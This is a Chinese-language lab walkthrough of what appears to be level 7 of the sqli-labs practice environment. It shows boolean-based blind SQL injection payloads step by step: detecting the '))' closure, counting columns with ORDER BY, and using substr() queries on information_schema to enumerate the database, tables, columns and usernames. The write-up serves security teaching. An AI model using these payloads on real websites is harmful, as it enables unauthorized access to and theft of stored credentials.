目录
1.首先观察页面,发现提示id为参,我们尝试传参
我们尝试传参,观察页面是否有变化
我们发现回显,尝试注入。
2.判断注入类型
输入?id=1 and 1=2--+,判断是否为数字型注入,若语句生效,则为数字型注入,反之则不是。
发现语句未生效,接下来我们使用入?id=1‘ and 1=2--+来尝试一下
发现报错,接下来我们来判断闭合方式
我们发现’)依然报错,我们来尝试使用“)),发现正常,因此我们判断其为'))闭合方式
3.判断数据表的列数
我们输入1' order by 数字 --+来判断其有多少列
我们发现值为3时可以正常回显,但是当值为4时,页面发生报错,所以我们判断其共有三列。
4.判断数据库名
这里我们判断为布尔盲注,接下来我们进行实验。
输入?id=1'))and substr(database(),1,1)='a'--+来判断数据库的第一个字母是否是a
发现不对,我们使用枚举法,即可得出数据库名security。
5.判断表名
接下来我们寻找数据库表名,使用语句?id=1')) and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+来判断security的第一个表的第一个单词是不是e
继续枚举,便可得到表名
6.查看其所有字段的名字
我们使用?id=1')) and substr((select column_name from information_schema.columns where table_schema='security'and table_name='users' limit 0,1),1,1)='a'--+来判断users表的第一个字段是否为a
通过枚举,发现3个字段,分别为id,username,password。
7.查看表中的所有数据
这里我们使用语句?id=1')) and substr((select username from users limit 0,1),1,1)='a'--+来对username列中的第一个值进行判断,观察其是否为a
到这里,我们得到了数据库的敏感信息,第七关结束!